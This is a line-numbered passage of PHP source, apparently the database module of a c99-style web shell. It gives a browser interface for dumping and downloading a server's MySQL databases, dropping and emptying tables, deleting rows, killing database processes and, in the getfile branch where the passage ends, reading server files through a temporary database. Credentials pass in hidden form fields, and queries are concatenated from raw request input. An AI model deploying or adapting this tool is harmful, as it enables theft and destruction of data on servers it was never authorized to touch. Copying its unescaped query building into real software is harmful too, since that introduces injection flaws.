1038 | elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} |
---|
1039 | elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
---|
1040 | elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
---|
1041 | elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
---|
1042 | elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
---|
1043 | elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} |
---|
1044 | elseif ($sql_tbl_act == "insert") |
---|
1045 | { |
---|
1046 | if ($sql_tbl_insert_radio == 1) |
---|
1047 | { |
---|
1048 | $keys = ""; |
---|
1049 | $akeys = array_keys($sql_tbl_insert); |
---|
1050 | foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} |
---|
1051 | if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} |
---|
1052 | $values = ""; |
---|
1053 | $i = 0; |
---|
1054 | foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} |
---|
1055 | if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} |
---|
1056 | $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; |
---|
1057 | $sql_act = "query"; |
---|
1058 | $sql_tbl_act = "browse"; |
---|
1059 | } |
---|
1060 | elseif ($sql_tbl_insert_radio == 2) |
---|
1061 | { |
---|
1062 | $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); |
---|
1063 | $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; |
---|
1064 | $result = mysql_query($sql_query) or print(mysql_smarterror()); |
---|
1065 | $result = mysql_fetch_array($result, MYSQL_ASSOC); |
---|
1066 | $sql_act = "query"; |
---|
1067 | $sql_tbl_act = "browse"; |
---|
1068 | } |
---|
1069 | } |
---|
1070 | if ($sql_act == "query") |
---|
1071 | { |
---|
1072 | echo "<hr size=\"1\" noshade>"; |
---|
1073 | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} |
---|
1074 | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} |
---|
1075 | if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";} |
---|
1076 | } |
---|
1077 | if (in_array($sql_act,$acts)) |
---|
1078 | { |
---|
1079 | ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php |
---|
1080 | if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} |
---|
1081 | if ($sql_act == "newtbl") |
---|
1082 | { |
---|
1083 | echo "<b>"; |
---|
1084 | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; |
---|
1085 | } |
---|
1086 | else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} |
---|
1087 | } |
---|
1088 | elseif ($sql_act == "dump") |
---|
1089 | { |
---|
1090 | if (empty($submit)) |
---|
1091 | { |
---|
1092 | $diplay = FALSE; |
---|
1093 | echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; |
---|
1094 | echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; |
---|
1095 | $v = join (";",$dmptbls); |
---|
1096 | echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; |
---|
1097 | if ($dump_file) {$tmp = $dump_file;} |
---|
1098 | else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} |
---|
1099 | echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; |
---|
1100 | echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; |
---|
1101 | echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; |
---|
1102 | echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; |
---|
1103 | echo "</form>"; |
---|
1104 | } |
---|
1105 | else |
---|
1106 | { |
---|
1107 | $diplay = TRUE; |
---|
1108 | $set = array(); |
---|
1109 | $set["sock"] = $sql_sock; |
---|
1110 | $set["db"] = $sql_db; |
---|
1111 | $dump_out = "download"; |
---|
1112 | $set["print"] = 0; |
---|
1113 | $set["nl2br"] = 0; |
---|
1114 | $set[""] = 0; |
---|
1115 | $set["file"] = $dump_file; |
---|
1116 | $set["add_drop"] = TRUE; |
---|
1117 | $set["onlytabs"] = array(); |
---|
1118 | if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} |
---|
1119 | $ret = mysql_dump($set); |
---|
1120 | if ($sql_dump_download) |
---|
1121 | { |
---|
1122 | @ob_clean(); |
---|
1123 | header("Content-type: application/octet-stream"); |
---|
1124 | header("Content-length: ".strlen($ret)); |
---|
1125 | header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); |
---|
1126 | echo $ret; |
---|
1127 | exit; |
---|
1128 | } |
---|
1129 | elseif ($sql_dump_savetofile) |
---|
1130 | { |
---|
1131 | $fp = fopen($sql_dump_file,"w"); |
---|
1132 | if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} |
---|
1133 | else |
---|
1134 | { |
---|
1135 | fwrite($fp,$ret); |
---|
1136 | fclose($fp); |
---|
1137 | echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; |
---|
1138 | } |
---|
1139 | } |
---|
1140 | else {echo "<b>Dump: nothing to do!</b>";} |
---|
1141 | } |
---|
1142 | } |
---|
1143 | if ($diplay) |
---|
1144 | { |
---|
1145 | if (!empty($sql_tbl)) |
---|
1146 | { |
---|
1147 | if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} |
---|
1148 | $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); |
---|
1149 | $count_row = mysql_fetch_array($count); |
---|
1150 | mysql_free_result($count); |
---|
1151 | $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); |
---|
1152 | $tbl_struct_fields = array(); |
---|
1153 | while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} |
---|
1154 | if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} |
---|
1155 | if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} |
---|
1156 | if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} |
---|
1157 | if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} |
---|
1158 | $perpage = $sql_tbl_le - $sql_tbl_ls; |
---|
1159 | if (!is_numeric($perpage)) {$perpage = 10;} |
---|
1160 | $numpages = $count_row[0]/$perpage; |
---|
1161 | $e = explode(" ",$sql_order); |
---|
1162 | if (count($e) == 2) |
---|
1163 | { |
---|
1164 | if ($e[0] == "d") {$asc_desc = "DESC";} |
---|
1165 | else {$asc_desc = "ASC";} |
---|
1166 | $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; |
---|
1167 | } |
---|
1168 | else {$v = "";} |
---|
1169 | $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; |
---|
1170 | $result = mysql_query($query) or print(mysql_smarterror()); |
---|
1171 | echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; |
---|
1172 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[ <b>Structure</b> ]</a> "; |
---|
1173 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[ <b>Browse</b> ]</a> "; |
---|
1174 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[ <b>Dump</b> ]</a> "; |
---|
1175 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> "; |
---|
1176 | if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} |
---|
1177 | if ($sql_tbl_act == "insert") |
---|
1178 | { |
---|
1179 | if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} |
---|
1180 | if (!empty($sql_tbl_insert_radio)) |
---|
1181 | { |
---|
1182 | |
---|
1183 | } |
---|
1184 | else |
---|
1185 | { |
---|
1186 | echo "<br><br><b>Inserting row into table:</b><br>"; |
---|
1187 | if (!empty($sql_tbl_insert_q)) |
---|
1188 | { |
---|
1189 | $sql_query = "SELECT * FROM `".$sql_tbl."`"; |
---|
1190 | $sql_query .= " WHERE".$sql_tbl_insert_q; |
---|
1191 | $sql_query .= " LIMIT 1;"; |
---|
1192 | $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); |
---|
1193 | $values = mysql_fetch_assoc($result); |
---|
1194 | mysql_free_result($result); |
---|
1195 | } |
---|
1196 | else {$values = array();} |
---|
1197 | echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; |
---|
1198 | foreach ($tbl_struct_fields as $field) |
---|
1199 | { |
---|
1200 | $name = $field["Field"]; |
---|
1201 | if (empty($sql_tbl_insert_q)) {$v = "";} |
---|
1202 | echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; |
---|
1203 | $i++; |
---|
1204 | } |
---|
1205 | echo "</table><br>"; |
---|
1206 | echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; |
---|
1207 | if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} |
---|
1208 | echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; |
---|
1209 | } |
---|
1210 | } |
---|
1211 | if ($sql_tbl_act == "browse") |
---|
1212 | { |
---|
1213 | $sql_tbl_ls = abs($sql_tbl_ls); |
---|
1214 | $sql_tbl_le = abs($sql_tbl_le); |
---|
1215 | echo "<hr size=\"1\" noshade>"; |
---|
1216 | echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> "; |
---|
1217 | $b = 0; |
---|
1218 | for($i=0;$i<$numpages;$i++) |
---|
1219 | { |
---|
1220 | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} |
---|
1221 | echo $i; |
---|
1222 | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} |
---|
1223 | if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} |
---|
1224 | else {echo " ";} |
---|
1225 | } |
---|
1226 | if ($i == 0) {echo "empty";} |
---|
1227 | echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>"; |
---|
1228 | echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; |
---|
1229 | echo "<tr>"; |
---|
1230 | echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; |
---|
1231 | for ($i=0;$i<mysql_num_fields($result);$i++) |
---|
1232 | { |
---|
1233 | $v = mysql_field_name($result,$i); |
---|
1234 | if ($e[0] == "a") {$s = "d"; $m = "asc";} |
---|
1235 | else {$s = "a"; $m = "desc";} |
---|
1236 | echo "<td>"; |
---|
1237 | if (empty($e[0])) {$e[0] = "a";} |
---|
1238 | if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} |
---|
1239 | else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} |
---|
1240 | echo "</td>"; |
---|
1241 | } |
---|
1242 | echo "<td><font color=\"green\"><b>Action</b></font></td>"; |
---|
1243 | echo "</tr>"; |
---|
1244 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) |
---|
1245 | { |
---|
1246 | echo "<tr>"; |
---|
1247 | $w = ""; |
---|
1248 | $i = 0; |
---|
1249 | foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} |
---|
1250 | if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} |
---|
1251 | echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; |
---|
1252 | $i = 0; |
---|
1253 | foreach ($row as $k=>$v) |
---|
1254 | { |
---|
1255 | $v = htmlspecialchars($v); |
---|
1256 | if ($v == "") {$v = "<font color=\"green\">NULL</font>";} |
---|
1257 | echo "<td>".$v."</td>"; |
---|
1258 | $i++; |
---|
1259 | } |
---|
1260 | echo "<td>"; |
---|
1261 | echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> "; |
---|
1262 | echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> "; |
---|
1263 | echo "</td>"; |
---|
1264 | echo "</tr>"; |
---|
1265 | } |
---|
1266 | mysql_free_result($result); |
---|
1267 | echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; |
---|
1268 | echo "<option value=\"\">With selected:</option>"; |
---|
1269 | echo "<option value=\"deleterow\">Delete</option>"; |
---|
1270 | echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>"; |
---|
1271 | } |
---|
1272 | } |
---|
1273 | else |
---|
1274 | { |
---|
1275 | $result = mysql_query("SHOW TABLE STATUS", $sql_sock); |
---|
1276 | if (!$result) {echo mysql_smarterror();} |
---|
1277 | else |
---|
1278 | { |
---|
1279 | echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; |
---|
1280 | $i = 0; |
---|
1281 | $tsize = $trows = 0; |
---|
1282 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) |
---|
1283 | { |
---|
1284 | $tsize += $row["Data_length"]; |
---|
1285 | $trows += $row["Rows"]; |
---|
1286 | $size = view_size($row["Data_length"]); |
---|
1287 | echo "<tr>"; |
---|
1288 | echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; |
---|
1289 | echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>"; |
---|
1290 | echo "<td>".$row["Rows"]."</td>"; |
---|
1291 | echo "<td>".$row["Type"]."</td>"; |
---|
1292 | echo "<td>".$row["Create_time"]."</td>"; |
---|
1293 | echo "<td>".$row["Update_time"]."</td>"; |
---|
1294 | echo "<td>".$size."</td>"; |
---|
1295 | echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>"; |
---|
1296 | echo "</tr>"; |
---|
1297 | $i++; |
---|
1298 | } |
---|
1299 | echo "<tr bgcolor=\"000000\">"; |
---|
1300 | echo "<td><center><b>»</b></center></td>"; |
---|
1301 | echo "<td><center><b>".$i." table(s)</b></center></td>"; |
---|
1302 | echo "<td><b>".$trows."</b></td>"; |
---|
1303 | echo "<td>".$row[1]."</td>"; |
---|
1304 | echo "<td>".$row[10]."</td>"; |
---|
1305 | echo "<td>".$row[11]."</td>"; |
---|
1306 | echo "<td><b>".view_size($tsize)."</b></td>"; |
---|
1307 | echo "<td></td>"; |
---|
1308 | echo "</tr>"; |
---|
1309 | echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; |
---|
1310 | echo "<option value=\"\">With selected:</option>"; |
---|
1311 | echo "<option value=\"tbldrop\">Drop</option>"; |
---|
1312 | echo "<option value=\"tblempty\">Empty</option>"; |
---|
1313 | echo "<option value=\"tbldump\">Dump</option>"; |
---|
1314 | echo "<option value=\"tblcheck\">Check table</option>"; |
---|
1315 | echo "<option value=\"tbloptimize\">Optimize table</option>"; |
---|
1316 | echo "<option value=\"tblrepair\">Repair table</option>"; |
---|
1317 | echo "<option value=\"tblanalyze\">Analyze table</option>"; |
---|
1318 | echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>"; |
---|
1319 | mysql_free_result($result); |
---|
1320 | } |
---|
1321 | } |
---|
1322 | } |
---|
1323 | } |
---|
1324 | } |
---|
1325 | else |
---|
1326 | { |
---|
1327 | $acts = array("","newdb","serverstatus","servervars","processes","getfile"); |
---|
1328 | if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } |
---|
1329 | if (!empty($sql_act)) |
---|
1330 | { |
---|
1331 | echo "<hr size=\"1\" noshade>"; |
---|
1332 | if ($sql_act == "newdb") |
---|
1333 | { |
---|
1334 | echo "<b>"; |
---|
1335 | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} |
---|
1336 | else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} |
---|
1337 | } |
---|
1338 | if ($sql_act == "serverstatus") |
---|
1339 | { |
---|
1340 | $result = mysql_query("SHOW STATUS", $sql_sock); |
---|
1341 | echo "<center><b>Server-status variables:</b><br><br>"; |
---|
1342 | echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; |
---|
1343 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} |
---|
1344 | echo "</table></center>"; |
---|
1345 | mysql_free_result($result); |
---|
1346 | } |
---|
1347 | if ($sql_act == "servervars") |
---|
1348 | { |
---|
1349 | $result = mysql_query("SHOW VARIABLES", $sql_sock); |
---|
1350 | echo "<center><b>Server variables:</b><br><br>"; |
---|
1351 | echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; |
---|
1352 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} |
---|
1353 | echo "</table>"; |
---|
1354 | mysql_free_result($result); |
---|
1355 | } |
---|
1356 | if ($sql_act == "processes") |
---|
1357 | { |
---|
1358 | if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} |
---|
1359 | $result = mysql_query("SHOW PROCESSLIST", $sql_sock); |
---|
1360 | echo "<center><b>Processes:</b><br><br>"; |
---|
1361 | echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; |
---|
1362 | while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} |
---|
1363 | echo "</table>"; |
---|
1364 | mysql_free_result($result); |
---|
1365 | } |
---|
1366 | if ($sql_act == "getfile") |
---|
1367 | { |
---|
1368 | $tmpdb = $sql_login."_tmpdb"; |
---|
1369 | $select = mysql_select_db($tmpdb); |
---|
